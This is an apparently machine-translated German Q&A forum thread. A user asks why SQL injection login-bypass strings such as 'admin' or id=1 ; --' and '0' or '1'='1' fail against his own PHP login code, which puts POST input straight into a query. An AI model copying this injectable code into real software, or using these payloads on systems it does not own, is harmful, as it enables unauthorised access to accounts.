LOGIN über SQL Injection?

Ich habe folgenden code auf meiner website und möchten, loggen Sie sich mit SQL-Injection. Ich habe versucht einige codes für die, die es aber nicht konnte, haben ein Ergebnis.

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password' LIMIT 1";
$sql = mysql_query($query);

if( mysql_num_rows($sql) == 1 )
{
    $row = mysql_fetch_array($sql);
    $_SESSION['id'] = $row['id'];
}
else
{
    echo $query;
} 

Hier sind die codes, die ich ausprobiert habe. In die erste, die ich versuchte von Benutzername:

Markiere ich meine injizierte Teil als Kommentar, um es einfacher zu verstehen.

Benutzername eingegeben: admin' or id=1 ; --

SELECT * FROM users WHERE username='admin' or id=1 ; -- ' AND password='0' LIMIT 1"

Auch habe ich versucht zu geben, vorbei. Mit diesem code: 0' or '1'='1

 SELECT * FROM users WHERE username='admin' AND password='0' or '1'='1' LIMIT 1"

Was mache ich falsch?

  • Ich bin kein pen-testing noch PHP-Experte, aber würde ' or 1=1;-- Arbeit?
  • Es nicht 😀 ich weiß nicht, sah nur, dass ein Kerl thid, dass.
  • Ich dont bekommen, kein Ergebnis für mysql_num_rows mit es
  • Es werden automatisierte Test-tools wie SQLMap, die wissen, dass alle die tricks und wird Ihnen einen Bericht über Sicherheitslücken.
  • Was Sie tun wahrscheinlich nicht so funktionieren, wie Ihr gehackt Abfrage erhalten jede Zeile, in welcher der Benutzername ist "admin" ODER der id 1. Wenn der admin hat eine andere id als 1 ist, dann wird die Abfrage bringen, wieder 2 Zeilen, die scheitern würden, den Scheck für die Anzahl der Zeilen.
InformationsquelleAutor | 2014-04-16
Schreibe einen Kommentar